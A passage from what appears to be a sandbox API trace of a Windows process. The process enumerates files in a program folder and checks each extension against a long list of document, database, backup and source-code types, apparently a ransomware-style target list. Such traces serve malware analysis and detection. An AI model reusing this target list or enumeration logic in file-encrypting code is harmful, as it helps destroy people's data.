[0181.161] lstrlenW (lpString=".asr") returned 4 [0181.161] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0181.161] lstrlenW (lpString=".asx") returned 4 [0181.161] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0181.161] lstrlenW (lpString=".avi") returned 4 [0181.162] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0181.162] lstrlenW (lpString=".avs") returned 4 [0181.162] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0181.162] lstrlenW (lpString=".backup") returned 7 [0181.162] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0181.162] lstrlenW (lpString=".bak") returned 4 [0181.162] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0181.162] lstrlenW (lpString=".bay") returned 4 [0181.162] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0181.162] lstrlenW (lpString=".bd") returned 3 [0181.162] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0181.162] lstrlenW (lpString=".bin") returned 4 [0181.162] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0181.162] lstrlenW (lpString=".bmp") returned 4 [0181.162] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0181.162] lstrlenW (lpString=".bz2") returned 4 [0181.162] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.162] lstrlenW (lpString=".c") returned 2 [0181.162] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0181.162] lstrlenW (lpString=".cdr") returned 4 [0181.162] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0181.162] lstrlenW (lpString=".cer") returned 4 [0181.162] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0181.162] lstrlenW (lpString=".cf") returned 3 [0181.162] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0181.162] lstrlenW (lpString=".cfc") returned 4 [0181.162] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0181.163] lstrlenW (lpString=".cfm") returned 4 [0181.163] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0181.163] lstrlenW (lpString=".cfml") returned 5 [0181.163] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0181.163] lstrlenW (lpString=".cfu") returned 4 [0181.163] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0181.163] lstrlenW (lpString=".chm") returned 4 [0181.163] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0181.163] lstrlenW (lpString=".cin") returned 4 [0181.163] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0181.163] lstrlenW (lpString=".class") returned 6 [0181.163] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0181.163] lstrlenW (lpString=".clx") returned 4 [0181.163] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0181.163] lstrlenW (lpString=".config") returned 7 [0181.163] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0181.163] lstrlenW (lpString=".cpp") returned 4 [0181.163] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0181.163] lstrlenW (lpString=".cr2") returned 4 [0181.163] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0181.163] lstrlenW (lpString=".crt") returned 4 [0181.163] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0181.163] lstrlenW (lpString=".crw") returned 4 [0181.163] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0181.163] lstrlenW (lpString=".cs") returned 3 [0181.163] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0181.163] lstrlenW (lpString=".css") returned 4 [0181.163] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0181.163] lstrlenW (lpString=".csv") returned 4 [0181.163] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0181.163] lstrlenW (lpString=".cub") returned 4 [0181.163] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0181.163] lstrlenW (lpString=".dae") returned 4 [0181.163] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0181.164] lstrlenW (lpString=".dat") returned 4 [0181.164] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0181.164] lstrlenW (lpString=".db") returned 3 [0181.164] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0181.164] lstrlenW (lpString=".dbf") returned 4 [0181.164] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.164] lstrlenW (lpString=".dbx") returned 4 [0181.164] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0181.164] lstrlenW (lpString=".dc3") returned 4 [0181.164] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0181.164] lstrlenW (lpString=".dcm") returned 4 [0181.165] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0181.165] lstrlenW (lpString=".dcr") returned 4 [0181.165] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0181.165] lstrlenW (lpString=".der") returned 4 [0181.165] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0181.165] lstrlenW (lpString=".dib") returned 4 [0181.165] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0181.165] lstrlenW (lpString=".dic") returned 4 [0181.165] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0181.165] lstrlenW (lpString=".dif") returned 4 [0181.165] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0181.165] lstrlenW (lpString=".divx") returned 5 [0181.165] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0181.165] lstrlenW (lpString=".djvu") returned 5 [0181.165] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0181.165] lstrlenW (lpString=".dng") returned 4 [0181.165] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0181.165] lstrlenW (lpString=".doc") returned 4 [0181.165] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.165] lstrlenW (lpString=".docm") returned 5 [0181.165] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0181.165] lstrlenW (lpString=".docx") returned 5 [0181.165] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0181.165] lstrlenW (lpString=".dot") returned 4 [0181.165] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0181.165] lstrlenW (lpString=".dotm") returned 5 [0181.165] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0181.165] lstrlenW (lpString=".dotx") returned 5 [0181.165] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0181.165] lstrlenW (lpString=".dpx") returned 4 [0181.165] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0181.166] lstrlenW (lpString=".dqy") returned 4 [0181.166] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0181.166] lstrlenW (lpString=".dsn") returned 4 [0181.166] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0181.166] lstrlenW (lpString=".dt") returned 3 [0181.166] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0181.166] lstrlenW (lpString=".dtd") returned 4 [0181.166] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0181.166] lstrlenW (lpString=".dwg") returned 4 [0181.166] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0181.166] lstrlenW (lpString=".dwt") returned 4 [0181.166] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0181.166] lstrlenW (lpString=".dx") returned 3 [0181.166] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0181.166] lstrlenW (lpString=".dxf") returned 4 [0181.166] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0181.166] lstrlenW (lpString=".edml") returned 5 [0181.166] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0181.166] lstrlenW (lpString=".efd") returned 4 [0181.166] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0181.166] lstrlenW (lpString=".elf") returned 4 [0181.166] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0181.166] lstrlenW (lpString=".emf") returned 4 [0181.166] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0181.166] lstrlenW (lpString=".emz") returned 4 [0181.166] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0181.166] lstrlenW (lpString=".epf") returned 4 [0181.166] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0181.166] lstrlenW (lpString=".eps") returned 4 [0181.166] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0181.166] lstrlenW (lpString=".epsf") returned 5 [0181.167] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0181.167] lstrlenW (lpString=".epsp") returned 5 [0181.167] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0181.167] lstrlenW (lpString=".erf") returned 4 [0181.167] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0181.167] lstrlenW (lpString=".exr") returned 4 [0181.167] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0181.167] lstrlenW (lpString=".f4v") returned 4 [0181.167] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0181.167] lstrlenW (lpString=".fido") returned 5 [0181.167] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0181.167] lstrlenW (lpString=".flm") returned 4 [0181.167] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0181.167] lstrlenW (lpString=".flv") returned 4 [0181.167] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0181.167] lstrlenW (lpString=".frm") returned 4 [0181.167] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0181.167] lstrlenW (lpString=".fxg") returned 4 [0181.167] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0181.167] lstrlenW (lpString=".geo") returned 4 [0181.167] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0181.167] lstrlenW (lpString=".gif") returned 4 [0181.167] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0181.167] lstrlenW (lpString=".grs") returned 4 [0181.167] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0181.167] lstrlenW (lpString=".gz") returned 3 [0181.167] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0181.167] lstrlenW (lpString=".h") returned 2 [0181.167] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0181.167] lstrlenW (lpString=".hdr") returned 4 [0181.167] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0181.167] lstrlenW (lpString=".hpp") returned 4 [0181.167] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0181.168] lstrlenW (lpString=".hta") returned 4 [0181.168] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0181.168] lstrlenW (lpString=".htc") returned 4 [0181.168] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0181.168] lstrlenW (lpString=".htm") returned 4 [0181.168] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0181.168] lstrlenW (lpString=".html") returned 5 [0181.168] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0181.168] lstrlenW (lpString=".icb") returned 4 [0181.168] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0181.168] lstrlenW (lpString=".ics") returned 4 [0181.168] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0181.168] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0181.168] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0181.168] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0181.168] FindClose (in: hFindFile=0x484ed8 | out: hFindFile=0x484ed8) returned 1 [0181.169] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0181.169] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-CH", cAlternateFileName="")) returned 1 [0181.169] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0181.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x485058 [0181.249] FindNextFileW (in: hFindFile=0x485058, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0181.249] FindNextFileW (in: hFindFile=0x485058, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0181.249] lstrlenW (lpString="index.html") returned 10 [0181.249] lstrlenW (lpString=".1cd") returned 4 [0181.249] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.249] lstrlenW (lpString=".3ds") returned 4 [0181.249] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0181.249] lstrlenW (lpString=".3fr") returned 4 [0181.249] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0181.249] lstrlenW (lpString=".3g2") returned 4 [0181.249] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0181.249] lstrlenW (lpString=".3gp") returned 4 [0181.249] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0181.249] lstrlenW (lpString=".7z") returned 3 [0181.250] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.250] lstrlenW (lpString=".accda") returned 6 [0181.250] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0181.250] lstrlenW (lpString=".accdb") returned 6 [0181.250] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0181.250] lstrlenW (lpString=".accdc") returned 6 [0181.250] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0181.250] lstrlenW (lpString=".accde") returned 6 [0181.250] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0181.250] lstrlenW (lpString=".accdt") returned 6 [0181.250] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0181.250] lstrlenW (lpString=".accdw") returned 6 [0181.250] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0181.250] lstrlenW (lpString=".adb") returned 4 [0181.250] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0181.250] lstrlenW (lpString=".adp") returned 4 [0181.250] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0181.250] lstrlenW (lpString=".ai") returned 3 [0181.250] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0181.250] lstrlenW (lpString=".ai3") returned 4 [0181.250] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0181.250] lstrlenW (lpString=".ai4") returned 4 [0181.250] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0181.250] lstrlenW (lpString=".ai5") returned 4 [0181.250] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0181.250] lstrlenW (lpString=".ai6") returned 4 [0181.250] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0181.250] lstrlenW (lpString=".ai7") returned 4 [0181.250] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0181.250] lstrlenW (lpString=".ai8") returned 4 [0181.250] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0181.250] lstrlenW (lpString=".anim") returned 5 [0181.251] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0181.251] lstrlenW (lpString=".arw") returned 4 [0181.251] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0181.251] lstrlenW (lpString=".as") returned 3 [0181.251] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0181.251] lstrlenW (lpString=".asa") returned 4 [0181.251] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0181.251] lstrlenW (lpString=".asc") returned 4 [0181.251] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0181.251] lstrlenW (lpString=".ascx") returned 5 [0181.251] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0181.251] lstrlenW (lpString=".asm") returned 4 [0181.251] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0181.251] lstrlenW (lpString=".asmx") returned 5 [0181.251] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0181.251] lstrlenW (lpString=".asp") returned 4 [0181.251] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0181.251] lstrlenW (lpString=".aspx") returned 5 [0181.251] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0181.251] lstrlenW (lpString=".asr") returned 4 [0181.251] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0181.251] lstrlenW (lpString=".asx") returned 4 [0181.251] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0181.251] lstrlenW (lpString=".avi") returned 4 [0181.251] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0181.251] lstrlenW (lpString=".avs") returned 4 [0181.251] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0181.252] lstrlenW (lpString=".backup") returned 7 [0181.252] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0181.252] lstrlenW (lpString=".bak") returned 4 [0181.252] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0181.252] lstrlenW (lpString=".bay") returned 4 [0181.252] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0181.252] lstrlenW (lpString=".bd") returned 3 [0181.252] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0181.252] lstrlenW (lpString=".bin") returned 4 [0181.252] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0181.252] lstrlenW (lpString=".bmp") returned 4 [0181.252] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0181.252] lstrlenW (lpString=".bz2") returned 4 [0181.252] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.252] lstrlenW (lpString=".c") returned 2 [0181.252] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0181.252] lstrlenW (lpString=".cdr") returned 4 [0181.252] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0181.252] lstrlenW (lpString=".cer") returned 4 [0181.252] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0181.252] lstrlenW (lpString=".cf") returned 3 [0181.252] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0181.252] lstrlenW (lpString=".cfc") returned 4 [0181.252] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0181.252] lstrlenW (lpString=".cfm") returned 4 [0181.252] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0181.252] lstrlenW (lpString=".cfml") returned 5 [0181.252] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0181.252] lstrlenW (lpString=".cfu") returned 4 [0181.252] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0181.253] lstrlenW (lpString=".chm") returned 4 [0181.253] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0181.253] lstrlenW (lpString=".cin") returned 4 [0181.253] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0181.253] lstrlenW (lpString=".class") returned 6 [0181.253] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0181.253] lstrlenW (lpString=".clx") returned 4 [0181.253] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0181.253] lstrlenW (lpString=".config") returned 7 [0181.253] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0181.253] lstrlenW (lpString=".cpp") returned 4 [0181.253] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0181.253] lstrlenW (lpString=".cr2") returned 4 [0181.253] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0181.253] lstrlenW (lpString=".crt") returned 4 [0181.253] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0181.253] lstrlenW (lpString=".crw") returned 4 [0181.253] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0181.253] lstrlenW (lpString=".cs") returned 3 [0181.253] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0181.253] lstrlenW (lpString=".css") returned 4 [0181.253] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0181.253] lstrlenW (lpString=".csv") returned 4 [0181.253] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0181.253] lstrlenW (lpString=".cub") returned 4 [0181.253] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0181.253] lstrlenW (lpString=".dae") returned 4 [0181.254] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0181.254] lstrlenW (lpString=".dat") returned 4 [0181.254] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0181.254] lstrlenW (lpString=".db") returned 3 [0181.254] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0181.254] lstrlenW (lpString=".dbf") returned 4 [0181.254] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.254] lstrlenW (lpString=".dbx") returned 4 [0181.254] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0181.254] lstrlenW (lpString=".dc3") returned 4 [0181.254] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0181.254] lstrlenW (lpString=".dcm") returned 4 [0181.254] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0181.254] lstrlenW (lpString=".dcr") returned 4 [0181.254] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0181.254] lstrlenW (lpString=".der") returned 4 [0181.254] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0181.254] lstrlenW (lpString=".dib") returned 4 [0181.254] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0181.254] lstrlenW (lpString=".dic") returned 4 [0181.254] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0181.254] lstrlenW (lpString=".dif") returned 4 [0181.254] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0181.254] lstrlenW (lpString=".divx") returned 5 [0181.254] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0181.255] lstrlenW (lpString=".djvu") returned 5 [0181.255] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0181.255] lstrlenW (lpString=".dng") returned 4 [0181.255] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0181.255] lstrlenW (lpString=".doc") returned 4 [0181.255] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.255] lstrlenW (lpString=".docm") returned 5 [0181.255] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0181.255] lstrlenW (lpString=".docx") returned 5 [0181.255] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.255] lstrlenW (lpString=".dot") returned 4 [0181.255] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0181.255] lstrlenW (lpString=".dotm") returned 5 [0181.255] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0181.255] lstrlenW (lpString=".dotx") returned 5 [0181.255] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0181.255] lstrlenW (lpString=".dpx") returned 4 [0181.255] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0181.255] lstrlenW (lpString=".dqy") returned 4 [0181.255] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0181.255] lstrlenW (lpString=".dsn") returned 4 [0181.255] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0181.255] lstrlenW (lpString=".dt") returned 3 [0181.255] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0181.255] lstrlenW (lpString=".dtd") returned 4 [0181.255] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0181.255] lstrlenW (lpString=".dwg") returned 4 [0181.255] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0181.255] lstrlenW (lpString=".dwt") returned 4 [0181.256] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0181.256] lstrlenW (lpString=".dx") returned 3 [0181.256] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0181.256] lstrlenW (lpString=".dxf") returned 4 [0181.256] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0181.256] lstrlenW (lpString=".edml") returned 5 [0181.256] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0181.256] lstrlenW (lpString=".efd") returned 4 [0181.256] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0181.256] lstrlenW (lpString=".elf") returned 4 [0181.257] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0181.257] lstrlenW (lpString=".emf") returned 4 [0181.257] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0181.257] lstrlenW (lpString=".emz") returned 4 [0181.257] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0181.257] lstrlenW (lpString=".epf") returned 4 [0181.257] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0181.257] lstrlenW (lpString=".eps") returned 4 [0181.257] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0181.257] lstrlenW (lpString=".epsf") returned 5 [0181.257] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0181.257] lstrlenW (lpString=".epsp") returned 5 [0181.257] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0181.257] lstrlenW (lpString=".erf") returned 4 [0181.257] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0181.257] lstrlenW (lpString=".exr") returned 4 [0181.257] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0181.257] 